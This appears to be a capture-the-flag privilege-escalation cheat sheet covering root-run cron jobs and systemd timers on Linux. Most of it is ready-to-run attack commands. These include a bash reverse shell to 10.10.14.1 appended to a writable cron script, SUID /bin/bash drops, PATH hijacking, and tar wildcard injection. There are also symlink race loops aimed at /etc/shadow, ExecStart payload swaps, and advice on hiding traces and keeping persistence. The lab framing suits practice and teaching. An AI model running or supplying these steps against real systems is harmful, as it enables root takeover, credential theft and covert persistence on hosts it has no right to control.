PrivEsc - Cron & Timers
Sections PrivEsc - Cron & Timers
Scheduled tasks running as root. The classic Insane-box privesc lives here. Run pspy from 05 Local Enum first.
i. Enumerate
cat /etc/crontab
cat /etc/anacrontab
ls -la /etc/cron.d/ /etc/cron.hourly /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
crontab -l 2>/dev/null
ls -la /var/spool/cron/crontabs/ 2>/dev/null
cat /var/spool/cron/crontabs/* 2>/dev/null
systemctl list-timers --all
ls -la /etc/systemd/system/*.timer 2>/dev/null
Catch dynamic / per-user / non-cron schedulers:
ps -ef | grep -E 'cron|atd|anacron'
ls -la /var/spool/at/ 2>/dev/null
ii. pspy is the catch-all
Static enum misses things that get added at runtime. Always run pspy for 5+ minutes:
/dev/shm/.p -pf -i 1000
Watch for any PID running as uid=0 with a path you can influence.
iii. Writable script run by cron
The job’s script is in a writable path:
ls -la /opt/backup.sh
## -rwxrwxrwx 1 root root ... backup.sh <- you can write
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"' >> /opt/backup.sh
## Wait for the next run
nc -lvnp 4444
iv. Writable directory in script path
Script lives in a writable dir, even if the script itself is root-owned:
ls -lad /opt/scripts
## drwxrwxr-x ... /opt/scripts <- group-writable, you in that group
mv /opt/scripts/backup.sh /opt/scripts/backup.sh.bak
cat > /opt/scripts/backup.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x /opt/scripts/backup.sh
## Wait for cron, then:
/bin/bash -p
v. PATH injection
Cron job calls a command without absolute path, and the cron PATH includes a writable dir:
cat /etc/crontab
## PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/home/user/bin
## * * * * * root backup.sh
## /home/user/bin is in cron PATH and writable by 'user'
cat > /home/user/bin/backup.sh <<'EOF'
#!/bin/bash
chmod 4755 /bin/bash
EOF
chmod +x /home/user/bin/backup.sh
vi. Wildcard injection in cron
Root cron does tar czf /backup.tgz /home/*/:
cd /home/youruser
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh sh.sh'
cat > sh.sh <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x sh.sh
## tar walks * and treats your files as flags
Other wildcard victims:
chown -R user:user *->touch -- --reference=/root/.ssh/id_rsachmod 644 *->touch -- --reference=/etc/shadowrsync -av * /backup/-> rsync-einjection
vii. Cron file race
Cron itself isn’t sudoers-aware. When a job creates a temp file as root then runs it, race to swap the file:
## Example: cron job runs /tmp/cleanup.sh after creating it as root.
## Symlink attack:
while :; do ln -sf /etc/shadow /tmp/target.tmp; done &
## When cron writes target.tmp, it writes through your symlink to /etc/shadow
Race conditions are unreliable on Insane boxes that intentionally throttle. Try once, if it fails after 100+ attempts the path probably isn’t a race.
viii. Symlink and TOCTOU
Job copies a file to a root-owned location, then changes perms. Race the copy step with a symlink to a different target:
## Job: cp /home/user/upload.zip /backup/; chmod 600 /backup/upload.zip
## You want chmod 600 to land on /etc/shadow:
while :; do
rm -f /backup/upload.zip
ln -sf /etc/shadow /backup/upload.zip
done
ix. systemd timers
Same idea as cron but lives in systemd. Find writable units:
systemctl list-timers
ls -la /etc/systemd/system/*.timer /etc/systemd/system/*.service
## Look for OnCalendar= or OnBootSec= timers calling a service
## Then check if the service's ExecStart= path is writable:
grep -RH 'ExecStart' /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null | head
If a .service is writable, change ExecStart= to your payload, then wait for the timer.
x. anacron and at
anacron runs missed cron jobs after boot, same surface as cron:
cat /etc/anacrontab
ls -la /etc/cron.daily /etc/cron.weekly /etc/cron.monthly
at queue:
atq
at -c <job-id>
ls -la /var/spool/at/
xi. Common cron-based foothold patterns to look for
- Backup scripts in
/opt,/usr/local/bin,/home/<svcuser>that touch many directories - Monitoring scripts that
find ... -exec - “Anti-cheat” jobs that kill processes by name (you can spawn one to escalate)
- Log rotation that follows symlinks
- Cleanup jobs that
rm -rf /tmp/something/*(if you can write into the parent, race the rm)
xii. After privesc, clean up
## Remove the wildcard files
rm -- '--checkpoint=1' '--checkpoint-action=exec=sh sh.sh' sh.sh
## Restore original script if you replaced it
mv /opt/scripts/backup.sh.bak /opt/scripts/backup.sh
## Drop a less suspicious persistence than a SUID /bin/bash
See 13 Persistence & Cleanup for the cleanup checklist.